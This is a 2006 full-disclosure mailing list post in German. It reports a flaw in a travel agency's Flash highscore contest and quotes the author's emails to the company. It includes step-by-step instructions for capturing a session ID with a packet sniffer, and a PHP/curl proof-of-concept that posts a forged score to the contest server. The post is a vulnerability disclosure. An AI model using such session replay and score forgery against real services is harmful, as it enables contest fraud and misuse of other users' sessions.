[<prev] [next>] [day] [month] [year] [list]
Message-ID: <72ad02a80606210704q61842848yc7b9443bd0c2dae4@mail.gmail.com>
Date: Wed Jun 21 15:04:30 2006
From: constantin.hofstetter at gmail.com (Constantin Hofstetter)
Subject: Neckermann Welten - Online Gewinnspiel (German
Travel Agency)
Sorry for posting in German, but its propably only interesting for those
Germans out there, anyway -
Ich hab vor laengerer Zeit (24ter Mai) Neckermann / Neckermann Urlaubswelt
und One-Internet-Development ( http://one-internet-development.de) (Die
Webdesign Firma welche fuer die Realisierung des Gewinnspiels zustaendig
ist), mit folgender Email auf eine "Sicherheitsluecke" im Neckermann
Urlaubswelt Gewinnspiel (zu finden unter:
http://neckermann.one-internet-development.de/) hingewiesen:
-----------------------------------
Gesendet am 24ten Mai 2006
-----------------------------------
....
Beim Gewinnspiel unter http://neckermann
.one-internet-development.de/<http://neckermann.one-internet-development.de/>
handelt es sich um ein Spiel im Macromedia Flash Format -
Technisch gesehn wird dabei eine Macromedia Flash (SWF) Datei auf den
Computer des Internet Besuchers heruntergeladen und ausgef?hrt - der
Internet Besucher ist hierbei der "Client", der Webserver des
Neckermann Gewinnspiels der "Server".
Wenn das Spiel gespielt worden ist, wird das Ergebnis vom "Client"
Computer zum "Server" unverschl?sselt ?bertragen - um das Ergebnis mit
dem angemeldeten Benutzer in Verbindung bringen zu k?nnen wird
desweiteren eine "Session ID" gesendet (erst vom Server zum Client,
dann bei jedem weiteren Datenwechsel im Datenpaket beinhaltet);
Ein "Angreifer" bzw. "Betr?ger" kann in diesem Fall die Packete nach
einem einmaligen Spiel abfangen und analysieren - beim n?chsten Spiel
/ einer neuen "Spielchance" kann er eigene Daten-Pakete erstellen und
ein verf?lschtes Ergebnis an den Server schicken.
Ich weiss nicht inwiefern Sie sich mit PHP / Curl auskennen, aber hier
ist eine kleine Beispiel Datei (Proof-Of-Concept):
Folgende Software ist von n?ten: Etherreal (http://www.ethereal.com/)
(oder ein ?hnlicher Paketsniffer, der die gesendeten / empfangenen
Pakete auf einem Netzwerkadapter aufzeichnet), ein Apache Server
(http://www.apache.org) mit PHP Modul ( http://www.php.org) und Curl
Libary (http://curl.haxx.se/).
Schritt 1: Die Software Etherreal wird (auf dem Client PC) gestartet
und so konfiguriert das es auf dem Netzwerkadapter mit
Internetverbindung (z.B. Modem, Netzwerkadapter zum Gateway / Router)
die Datenpakete auf dem TCP Port 80 (http Port) abh?rt;
Schritt 2: Der Benutzer loggt sich auf der Neckermann Internetseite
ein - Der Packet-Sniffer Etherreal sollte zu diesem Zeitpunkt bereits
die "SessionID" in einem der Pakete vom Server zum Client abgefangen
haben (z.B. "d4e8a78867921fb00bf17de30f05671e");
Schritt 3: Anstatt das Spiel zu starten geben wir die gew?nschten
Werte in folgendes Skript ein und laden es auf einem Apache Server mit
PHP Modul und Curl Library:
<?php
$url = "http://
neckermann.one-internet-development.de/index.php?mod=result<http://neckermann.one-internet-development.de/index.php?mod=result>
";
$punkte = "3200"; // Die Gew?nschte Punktzahl - das verf?lschte Ergebnis
$id = "d4e8a78867921fb00bf17de30f05671e"; // Unsere Session ID
$post_string = "onLoad=%5Btype%20Function%5D&punkte=". $punkte;
$header = array(
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv: 1.8.0.3) Gecko/20060426 Firefox/1.5.0.3",
"Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=
0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
"Accept-Language: en-us,en;q= 0.5",
"Accept-Encoding: gzip,deflate",
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7",
"Keep-Alive: 300",
"Connection: keep-alive",
"Cookie: PHPSESSID=". $id ."",
"Content-type: application/x-www-form-urlencoded",
"Content-length: ".strlen($post_string)."",
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 4);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
curl_setopt($ch, CURLOPT_POST, 1); // set POST method
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_string); // add POST fields
$data = curl_exec($ch);
if (curl_errno($ch)) {
print curl_error($ch);
} else {
print $data;
curl_close($ch);
}
?>
--- Das Skript erstellt ein Daten-Paket und schickt dieses an den
Neckermann Server - der Server glaubt nun, dass der angemeldete
Benutzer (zu identifizieren anhand der PHP Session ID ($id Wert, den
wir vorher mit dem Packet-Sniffer Etherreal erfasst haben)) das Spiel
gespielt und eine Punktzahl von 3200 Punkten erreicht hat.
Die Werte k?nnen angepasst werden (h?here Punktzahl, andere Session ID) -
Das w?re eine M?glichkeit in dem Spiel zu "betr?gen" - leider kommt
das immer ?fters vor (ich sprech da "aus Erfahrung" :) ) und es ist
wichtig die Webhoster / Gewinnspielanbieter darauf hinzuweisen, dass
eine Server-Client L?sung wie die von Macromedia mit Macromedia Flash
sich nicht als Gewinnspiel (mit Highscore-Preisaussch?ttung) eignen -
selbst wenn das Ergebnis in der Flash Datei verschl?sselt werden
sollte ... die Datei kann "decompiliert", der
Verschl?sselungsmechanismus nachgestellt und wieder ein "richtiges"
Ergebnis versendet werden.
Als einigerma?en wirkungsvoll zeigt sich die "obfuscation" (zu
Deutsch: "Benebelung", "Verwirrung") der Flash Datei selbst (Siehe
z.B.: http://www.amayeta.com/software/swfencrypt/ ) - dann kann der
Source Code nicht mehr so leicht decompiliert werden .. aber leider
ist selbst dieser Weg nicht 100% sicher - mit dem richtigen Know How
und einer anst?ndigen Menge an "Freizeit" kann man auch dieses System
umgehen (der Sourcecode ist ja noch vorhanden, nur verkompliziert ..);
Um ehrlich zu sein w?rde ich die Preise verlosen (w?re gerecht, aber
vielleicht nicht so "interessant" f?r die Spieler) - Gewinnspiele wie
das auf Neckermann Urlaubs Welt sind aber leider sonst viel zu sehr im
Interesse von Skript-Kiddies, Hackern und einfachen Betr?gern als das
wirklich jemand gewinnt der auch fair gespielt hat.
Ich selbst bin mit dem Benutzernamen "Consti" im System angemeldet -
und habe nach dreimaligem "Spielen" eine Highscore von "7260" Punkten
- was meines Erachtens ohne das erstellen von eigenen Paketen nicht
m?glich w?re - Sie k?nnen also meinen Account getrost entfernen (ich
hab aber auch nicht vor, weiter zu "spielen", denn ich bin mir sicher
das die ersten Pl?tze mit diesen immensen Ergebnissen eh schon
er-cheated wurden :) ).
Und am Ende der Mail noch kurz zu mir ("Werbung" in eigener Sache
*lach*): Ich bin 20 Jahre jung, gerade mit meinem Zivi fertig und
beginne im September mit meinem Wirtschaftsinformatik Studium in Wien
(wenn alles "glatt" l?uft bin ich in knapp 6 Jahren Dipl.
Wirtschaftsingenieur Informatik) - ich hab nicht vor irgendwas zu
verkaufen oder in Rechnung zu stellen und wollte Sie nur auf den
Fehler (im eigentlichen Highscore-Gewinnspielsystem mit Flash Dateien)
hinweisen. Ich hoffe Sie entscheiden zu gunsten einer Verlosung der
Gewinne um ein "Gewinnen-durch-betr?gen" gr??tenteils ausschlie?en zu
k?nnen!
Ich hoffe ich konnte Ihnen das "Problem" ausreichend erl?utern und
stehe nat?rlich auch weiterhin f?r etwaige Fragen gerne zur Verf?gung!
....
--------------------
--------------------
Am 30ten Mai kam dann die Feedback mail - Die Infos waeren an geeignete
Stelle weitergeleitet worden.
Als am 14ten Juni immer noch die gleiche "Sicherheitsluecke" (bzw. der
gleiche Design-Fehler) vorhanden war schrieb ich folgende Email:
----------------------
14ter Juni 2006
----------------------
...
Wie es scheint hat meine letzte Email nicht die von mir erhofften Reaktionen
hervorgerufen -
Die Highscore Ergebnisse sind immer noch er-cheated und wenn das am 30. Juni
noch immer der Fall sein sollte werden die Preise an den besten "cheater"
aber nicht den besten Spieler ausgegeben.
Ich bitte Sie, es den Hackern/Tricksern nicht ganz so leicht zu machen und
rate Ihnen weiterhin die Ausgabe der Gewinne nicht nach einer Highscore zu
gestalten sondern unter allen Teilnehmern zu verlosen.
...
---------------------
---------------------
Die Antwort darauf kam am 21 Juni (heute) und lautete wie folgt:
----------------------
Unsere Programmierer haben f?r die n?tige Sicherheit gesorgt, um
Extrem-Hackern den Spa? zu verderben.
-----------------------
Nach ueberpruefung habe ich feststellen koennen das nichts am System
geandert wurde und die erstellung von "fake" Scores weiterhin sehr einfach
ist.
Ein Blick auf die Highscore:
http://neckermann.one-internet-development.de/index.php?mod=highscore
laesst auch annehmen das die Scores ercheated sind (ein Sprung von 300.000zu
400.000 Punkte? - wobei jedes Spiel max 5000 Punkte gibt? erscheint fuer
mich nicht schluessig -)
Wenn das so weiter geht werden die Preise am 30. Juni an den / die besten
Cheater ausgegeben - und der Firma scheint dies, trotz meiner Emails nicht
bewusst zu sein.
Ich hoffe, dass ich mit diesem Post andere Webdesign Firmen ueber das
Struktuelle Problem "Preis-Vergabe-Nach-Highscore-mit-Flash-Spielen"
aufklaeren konnte.
Mit freundlichen Gruessen,
--
Constantin Hofstetter
http://www.consti.de
Constantin.Hofstetter@...il.com
mailmespam@...il.com
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20060621/4987e4c9/attachment.html
Powered by blists - more mailing lists